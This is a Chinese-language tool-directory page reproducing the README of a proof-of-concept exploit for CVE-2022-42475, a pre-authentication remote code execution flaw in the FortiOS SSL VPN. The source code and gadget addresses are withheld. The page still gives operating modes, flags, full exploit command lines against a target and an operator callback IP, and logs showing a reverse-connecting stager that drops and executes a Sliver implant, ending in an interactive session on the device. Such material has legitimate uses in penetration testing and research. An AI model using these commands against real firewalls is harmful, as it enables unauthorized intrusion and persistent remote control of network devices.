Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-42475-POC — CVE-2022-42475 的漏洞利用程序,针对 FortiOS SSL VPN 中的预认证远程代码执行(RCE)漏洞。支持漏洞验证、良性验证,以及通过回连 Shellcode 和加密二进制 Stager 实现远程访问的完整利用。 | Kitploit
工具/GitHubGitHub/arthurhendrich/cve-2022-42475-poc
漏洞分析漏洞利用ShellcodeWeb安全渗透测试红队Payload 开发
GitHubarthurhendrich/cve-2022-42475-poc

CVE-2022-42475-POC

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

CVE-2022-42475 的漏洞利用程序,针对 FortiOS SSL VPN 中的预认证远程代码执行(RCE)漏洞。支持漏洞验证、良性验证,以及通过回连 Shellcode 和加密二进制 Stager 实现远程访问的完整利用。

查看仓库
26个月前尚未审核
分享

CVE-2022-42475

背景

本文对应博客文章漏洞利用部分的解说,原文链接:https://bishopfox.com/blog/exploit-cve-2022-42475

删节版本

此版本漏洞利用代码在缺乏攻击者自行提供ROP Gadget等所需内存地址的情况下无法正常工作。确定这些数据的工作是Bishop Fox的机密和专有信息,我不会(也不能)将其与漏洞利用代码一同发布。相信您能理解!

操作模式

  • 仅验证,不进行漏洞利用。用于判断目标是否存在漏洞。不发送payload,不含shellcode。
  • 漏洞利用,但仅进行验证。运行良性的回连“ping” shellcode,以验证目标是否可被利用。
  • 带回连二进制文件加载器的漏洞利用。Shellcode回连至漏洞利用端,下载经加密的操作者指定二进制文件(典型为 https://gitub.com/BishopFox/Sliver),解密后调用 execve(binary_file)。

注意:目前“仅验证”模式适用于所有已知版本的FortiOS。但漏洞利用功能 仅 针对FortiOS 6.0.4及100D硬件平台有效。我已不在BF工作,因此无法发布支持约18000个目标的扩展版本。

依赖

  • PyCrypto
  • pycryptodome
root@kitploit:~
pip3 install PyCrypto
pip3 install pycryptodome

仅验证模式

该模式不会尝试利用漏洞,而是触发其导致崩溃(远程SSL VPN守护进程会自动立即重启)。崩溃的检测采用启发式方法,并向操作者报告。

使用 -v 验证标志运行:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate 远程预认证RCE ]--
    --[ Bishop Fox Cosmos Team X                  ]--

[+] 运行于仅验证模式,无RCE。
[>] 正在测试目标是否存在漏洞(可能需要10秒)
[+] 目标 '192.168.0.10:8443' 似乎存在漏洞

漏洞利用但仅验证(目前仅支持FortiOS 6.0.4的100D设备)

此模式将触发漏洞,部署ROP链,并跳转至shellcode。Shellcode为良性,运行过程如下:

  • 漏洞利用端连接目标并触发漏洞执行shellcode
  • Shellcode回连至操作者的IP:端口
  • Shellcode向漏洞利用端发送单个“hello”字节:0xbf
  • 漏洞利用端向shellcode发送一个小的加密测试payload(AES密钥每次运行随机生成)
  • Shellcode解密payload并将其保存至FortiGate设备的 /tmp/x
  • 若payload解密成功,Shellcode再次发送单个 0xbf 字节给漏洞利用端
  • 漏洞利用端读取该字节,确认代码执行。

标志:

root@kitploit:~
-t          目标主机/IP
-p          目标端口
-e          漏洞利用模式
-c          仅回连模式
-H 和 -P    操作者的IP:端口(必需)
-s          FortiOS软件版本(必需)
-m          运行FortiOS的硬件型号
-d          开启调试信息

以下示例中,我们选定软件版本 6.0.4 及设备型号 100D:

root@kitploit:~
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate 远程预认证RCE ]--
    --[ Bishop Fox Cosmos Team X                  ]--

[+] 生成随机128位AES密钥用于加密payload
[+] 正在加密payload...
[+] 使用缓存的shellcode。编辑 ./x.py(查找 'shellcode.s')以强制刷新。
[+] 配置为回连至 192.168.0.99:443
[+] 启动加密payload监听器...
[+] 准备漏洞利用...
[+] 发送请求!
[+] 从 'exploit_data.json' 导入gadget
[<] 监听器绑定至端口443,等待回连...
[+] 验证gadget...
[!] 未为FortiOS '5.2.14' 定义有效硬件型号,已移除。
[!] 未为FortiOS '5.6.9' 定义有效硬件型号,已移除。
[+] 导入797个目标:
[-]   6.0.4     [  1个目标 ]   <=== 100D
[-]   5.2.14    [ 47个目标 ]
[-]   5.6.9     [ 60个目标 ]
[-]   6.0.13    [ 68个目标 ]
[-]   6.0.14    [ 67个目标 ]
[-]   6.0.15    [ 58个目标 ]
[-]   6.0.8     [ 67个目标 ]
[-]   6.2.11    [ 69个目标 ]
[-]   6.2.7     [ 75个目标 ]
[-]   6.4.10    [ 71个目标 ]
[-]   6.4.2     [ 62个目标 ]
[-]   6.4.3     [ 61个目标 ]
[-]   6.4.6     [ 73个目标 ]
[-]   6.4.9     [ 72个目标 ]
[-]   7.0.4     [ 53个目标 ]
[+] 开始漏洞利用
[<] 收到来自 192.168.0.10:22470 的入站请求
[<] 收到来自目标的握手包!!型号:100D
[<] 发送36字节的加密payload
[<] payload发送完毕(36字节),等待响应...
[<] 收到来自 192.168.0.10 的预期响应('100D')
[<] 目标存在漏洞,置信度100%。
[+] 全部完成!

若省略 -m 以选择硬件型号,漏洞利用将针对指定软件版本的所有硬件目标进行暴力破解。

全球热核战争

  • 操作者指定一个Sliver植入程序二进制文件的位置(基于Linux)
  • 漏洞利用端连接目标并触发漏洞执行shellcode
  • Shellcode回连至操作者的IP:端口
  • Shellcode向漏洞利用端发送单个“hello”字节:0xbf
  • 漏洞利用端加密Sliver二进制文件并发送给shellcode
  • Shellcode解密二进制文件并保存至 /tmp/x
  • Shellcode向漏洞利用端发送“成功”0xbf字节
  • 漏洞利用端读取该字节,确认代码执行
  • Shellcode调用 execve("/tmp/x")
  • ???
  • 获利!

标志:

root@kitploit:~
-t          目标主机/IP
-p          目标端口
-e          漏洞利用模式
-f filename  要execve的目标上二进制文件的路径
-H 和 -P    操作者的IP:端口用于回连(必需)
-s          FortiOS软件版本(必需)
-m          运行FortiOS的硬件型号
-d          开启调试信息

Sliver:

root@kitploit:~
carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options

[server] sliver > mtls -l 8888

[*] Starting mTLS listener ...

[*] Successfully started job #1

漏洞利用端:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate 远程预认证RCE ]--
    --[ Bishop Fox Cosmos Team X                  ]--

[+] 漏洞利用将尝试在目标上 execve("implant5")
...
[<] 目标存在漏洞,置信度100%。
[+] 全部完成。

回到Sliver:

root@kitploit:~
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST

[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

Logon ID: <err>

[server] sliver (implant5) > ls

/ (19 items, 10.0 KiB)
======================
-rw-r--r--   .ash_history        590 B  Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x   bin                 <dir>  Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x   data                <dir>  Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x   data2               <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   dev                 <dir>  Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx   etc -> data/etc     8 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   fortidev -> /       1 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   init -> /sbin/init  10 B   Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   lib                 <dir>  Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx   lib64 -> lib        3 B    Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   migadmin            <dir>  Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x   proc                <dir>  Tue Jan 31 05:23:13 +0000 2023
drwx------   root                <dir>  Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x   sbin                <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   security-rating     <dir>  Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x   sys                 <dir>  Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx  tmp                 <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   usr                 <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   var                 <dir>  Tue Jan 31 05:24:07 +0000 2023

注意Sliver返回 <err>,因为FortiOS虽然大体上类似Linux,但并非总是按预期工作。这是FortiOS的问题,与Sliver无关。

更多版本即将推出

我已不在Bishop Fox工作,因此您需要关注BF的GitHub以获取此漏洞利用的后续更新。

下载工具